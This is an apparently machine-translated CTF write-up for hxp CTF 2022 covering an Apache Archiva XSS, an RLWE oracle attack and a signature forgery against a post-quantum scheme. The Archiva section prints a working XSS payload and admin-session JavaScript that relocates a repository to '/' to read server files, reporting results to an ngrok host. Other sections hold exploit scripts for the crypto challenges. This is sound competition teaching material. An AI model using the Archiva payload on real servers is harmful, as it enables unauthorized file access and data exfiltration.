hxp CTF 2022 WriteUps

發表於
分類於 CTF

This article is automatically translated by LLM, so the translation may be inaccurate or incomplete. If you find any mistake, please let me know.
You can find the original article here .

This weekend, I casually solved a few problems in TSJ just for fun.

web

archived

This problem is a 0day issue of Apache Archiva. There is an admin bot that regularly accesses the /repository/internal page, so you need to find a way to perform XSS and then use some method to read /flag.txt.

The XSS part is very simple. Just log in with the low-privilege account provided, and then upload an artifact. You can insert HTML in the group id part to achieve XSS. However, testing showed that it cannot contain . and /, so I used <svg onload="import(atob('...'))"> which is simpler and more convenient.

Next, you need to find a way to use the admin's XSS permissions to read files through the server API. I used the admin's repo editing permissions to change the root directory of the repo to /, so that /repository/internal/flag.txt can be used to read the flag.

const sleep = ms => new Promise(resolve => setTimeout(resolve, ms))
var fr = document.createElement('iframe')
fr.src = `${location.protocol}//${location.host}/`
fr.onload = async () => {
	new Image().src = 'https://REDACTED.ngrok.io/iframe_load'
	await sleep(1000)
	try {
		fr.contentWindow.$.ajax('restServices/archivaServices/managedRepositoriesService/updateManagedRepository', {
			type: 'POST',
			data: JSON.stringify({
				id: 'internal',
				name: 'Archiva Managed Internal Repository',
				layout: 'default',
				indexDirectory: '/archiva-data/repositories/internal/.indexer',
				location: '/',
				cronExpression: '0 0 * * * ?',
				daysOlder: 30,
				retentionCount: 2,
				scanned: true,
				deleteReleasedSnapshots: false,
				stageRepoNeeded: false,
				snapshots: false,
				releases: true,
				blockRedeployments: true,
				description: null,
				skipPackedIndexCreation: false,
				feedsUrl: 'http://localhost:8055/feeds/internal',
				url: 'http://localhost:8055/repository/internal',
				modified: false
			}),
			contentType: 'application/json',
			dataType: 'json',
			success: data => {
				new Image().src =
					'https://REDACTED.ngrok.io/done?data=' + encodeURIComponent(JSON.stringify(data))
			},
			error: data => {
				new Image().src =
					'https://REDACTED.ngrok.io/error2?data=' + encodeURIComponent(JSON.stringify(data))
			}
		})
	} catch (e) {
		new Image().src = 'https://REDACTED.ngrok.io/error?data=' + encodeURIComponent(JSON.stringify(e.message))
	}
}
fr.style.width = '100%'
fr.style.height = '100vh'
document.body.appendChild(fr)
// hxp{xSS_h3re_Xs5_ther3_X5S_ev3rywhere}

crypto

whistler

#!/usr/bin/env python3
import struct, hashlib, random, os
from Crypto.Cipher import AES

n = 256
q = 11777
w = 8

################################################################

sample = lambda rng: [bin(rng.getrandbits(w)).count('1') - w//2 for _ in range(n)]

add = lambda f,g: [(x + y) % q for x,y in zip(f,g)]

def mul(f,g):
    r = [0]*n
    for i,x in enumerate(f):
        for j,y in enumerate(g):
            s,k = divmod(i+j, n)
            r[k] += (-1)**s * x*y
            r[k] %= q
    return r

################################################################

def genkey():
    a = [random.randrange(q) for _ in range(n)]
    rng = random.SystemRandom()
    s,e = sample(rng), sample(rng)
    b = add(mul(a,s), e)
    return s, (a,b)

center = lambda v: min(v%q, v%q-q, key=abs)
extract = lambda r,d: [2*t//q for u,t in zip(r,d) if u]

ppoly = lambda g: struct.pack(f'<{n}H', *g).hex()
pbits = lambda g: ''.join(str(int(v)) for v in g)
hbits = lambda g: hashlib.sha256(pbits(g).encode()).digest()
mkaes = lambda bits: AES.new(hbits(bits), AES.MODE_CTR, nonce=b'')

def encaps(pk):
    seed = os.urandom(32)
    rng = random.Random(seed)
    a,b = pk
    s,e = sample(rng), sample(rng)
    c = add(mul(a,s), e)
    d = add(mul(b,s), e)
    r = [int(abs(center(2*v)) > q//7) for v in d]
    bits = extract(r,d)
    return bits, (c,r)

def decaps(sk, ct):
    s = sk
    c,r = ct
    d = mul(c,s)
    return extract(r,d)

################################################################

if __name__ == '__main__':

    while True:
        sk, pk = genkey()
        dh, ct = encaps(pk)
        if decaps(sk, ct) == dh:
            break

    print('pk[0]:', ppoly(pk[0]))
    print('pk[1]:', ppoly(pk[1]))

    print('ct[0]:', ppoly(ct[0]))
    print('ct[1]:', pbits(ct[1]))

    flag = open('flag.txt').read().strip()
    print('flag: ', mkaes([0]+dh).encrypt(flag.encode()).hex())

    for _ in range(2048):
        c = list(struct.unpack(f'<{n}H', bytes.fromhex(input())))
        r = list(map('01'.index, input()))
        if len(r) != n or sum(r) < n//2: exit('!!!')

        bits = decaps(sk, (c,r))

        print(mkaes([1]+bits).encrypt(b'hxp<3you').hex())

This problem is an RLWE problem under Zq[x]/x256+1\mathbb{Z}_q[x]/x^{256}+1. The public key is (a(x),b(x))=(a(x),a(x)s(x)+e(x))(a(x),b(x))=(a(x),a(x)s(x)+e(x)), where the coefficients of a(x)a(x) are uniformly random, and the coefficients of s(x)s(x) and e(x)e(x) are very small.

For encryption, another s(x)s'(x) and e(x)e'(x) with similarly small coefficients are chosen, and then c(x)=a(x)s(x)+e(x)c(x)=a(x)s'(x)+e'(x) and d(x)=b(x)s(x)+e(x)d(x)=b(x)s'(x)+e'(x) are calculated. After that, a random bitstring rr is taken, and (c(x),r)(c(x),r) is used as the ciphertext.

Obviously, there is a relationship c(x)s(x)d(x)c(x)s(x) \approx d(x), so it uses extract(r,d) to calculate another bitstring, and then derives the AES key from it to encrypt the flag.

There is a 2048-time oracle that allows you to decide c(x),rc(x), r, and then use the result of decaps(sk, (c,r)) to get another AES key to encrypt hxp<3you.

Although this problem looks very complicated, it can actually be solved without understanding RLWE.

The key is that the nonce of AES CTR is fixed, so the ciphertext does not change. Therefore, it is possible to know whether decaps(sk, (c,r)) has changed.

The key is that extract is defined as lambda r,d: [2*t//q for u,t in zip(r,d) if u], so r actually tells it which bits of d to take after decryption. Therefore, the length of the output bits is only sum(r), so there is a lot of room for manipulation.

The problem requires sum(r) >= 128, so by taking r as [1]*128+[1,0,...], [1]*128+[0,1,...] and so on, you can find that the output ciphertext has only two possibilities. Therefore, you can know what the latter part of [2*t//q for t in d] is, but there are two possibilities to explode. Then, slightly adjust this method to get the bits of the first part, so there will be four possibilities for [2*t//q for t in d].

After that, take the subsets of the original r for the four possibilities and try to decrypt them to get the flag.

from pwn import process, remote
from Crypto.Cipher import AES
import struct, hashlib


n = 256
q = 11777
w = 8

ppoly = lambda g: struct.pack(f"<{n}H", *g).hex()
pbits = lambda g: "".join(str(int(v)) for v in g)
hbits = lambda g: hashlib.sha256(pbits(g).encode()).digest()
mkaes = lambda bits: AES.new(hbits(bits), AES.MODE_CTR, nonce=b"")

# io = process(["python", "vuln.py"])
io = remote("116.203.41.47", 4421)
io.recvuntil(b"ct[0]: ")
c = list(struct.unpack(f"<{n}H", bytes.fromhex(io.recvlineS().strip())))
io.recvuntil(b"ct[1]: ")
r = list(map(int, io.recvlineS().strip()))
io.recvuntil(b"flag:  ")
flag = bytes.fromhex(io.recvlineS().strip())


def recover_first_half():
    res = []
    r = [1] * 128
    for i in range(128):
        t = [0] * 128
        t[i] = 1
        rr = t + r
        io.sendline(ppoly(c).encode())
        io.sendline(pbits(rr).encode())
    for _ in range(128):
        res.append(bytes.fromhex(io.recvlineS().strip()))
    assert len(set(res)) == 2
    for one in set(res):
        yield [int(x == one) for x in res]


def recover_second_half():
    res = []
    r = [1] * 128
    for i in range(128):
        t = [0] * 128
        t[i] = 1
        rr = r + t
        io.sendline(ppoly(c).encode())
        io.sendline(pbits(rr).encode())
    for _ in range(128):
        res.append(bytes.fromhex(io.recvlineS().strip()))
    assert len(set(res)) == 2
    for one in set(res):
        yield [int(x == one) for x in res]


for first in recover_first_half():
    for second in recover_second_half():
        full_bits = first + second
        dh = [x for x, y in zip(full_bits, r) if y]
        print(mkaes([0] + dh).decrypt(flag))
# hxp{e4zy_p34zY_p34nuT_Bu7t3r}

According to others, it seems that this problem can also be solved within 256 oracle times by recovering s(x)s(x) through CRT.

sequoa

The goal of this problem is to attack a PQC proposed in the paper A Transformation for Lifting Discrete Logarithm Based Cryptography to Post-Quantum Cryptography. Interestingly, this paper refutes the conclusion of another paper Entropoids: Groups in Disguise published by the author of this problem, which states that the DLP of entropoids can be reduced to the DLP of its underlying field.

This problem uses the parameters of sequoa359, where the field is K=F2359/(x3591)K=\mathbb{F}_{2^{359}}/(x^{359}-1). After decomposition, the highest degree is about 179, so it is possible to solve the DLP through sage. Therefore, the expected solution to this problem is to use some magical mathematics to reduce the entropoid DLP g(x1,x2)g^{(x_1, x_2)} to KK.

However, I don't know those mathematics, but I did successfully refer to the paper and the reference implementation's C++ code and found that its signature verification has issues.

The signature itself contains the values (s0,s1,e0,e1,m)(s_0, s_1, e_0, e_1, m), and then calculates rv=g(s0,s1)y(e0,e1)r_v=g^{(s_0,s_1)} y^{(e_0,e_1)}, and then verifies whether H(rvym)=?(e0,e1)H(r_v||y||m) \stackrel{?}{=} (e_0,e_1) holds. After some testing, I found that g(0,0)=0g^{(0,0)}=0, so rv=0r_v=0, and the final hash does not change. Therefore, we can first calculate the hash to get the required e0,e1e_0, e_1, and then modify the signature to get a valid signature.

int main(int argc, char **argv)
{
    std::array<uint8_t, CRYPTO_PUBLICKEYBYTES> pk;
    ustring tmp = unhex(argv[1]);
    memcpy(pk.data(), tmp.data(), CRYPTO_PUBLICKEYBYTES);

    ustring sm(23 * 4, 0);

    ustring m(23 * 4, 0);
    unsigned long long mlen;
    unsigned char out[23*2];
    if(crypto_compute_e_verification(out, m.data(), &mlen, sm.data(), sm.size(), pk.data())){
		// patch sign.cpp to add crypto_compute_e_verification that writes e0 and e1 to out
        return 1;
    }
    std::cout << "DONE" << std::endl;
    memcpy(sm.data() + 23*2, out, 23*2);
    std::cout << tohex(sm) << std::endl;
    ustring m2(23 * 4, 0);
    unsigned long long mlen2;
    if (crypto_sign_open(m2.data(), &mlen2, sm.data(), sm.size(), pk.data()))
        return 3;
    return 0;
}
// hxp{Th4nKx_4_th3_phUn_Ch4l1En9e}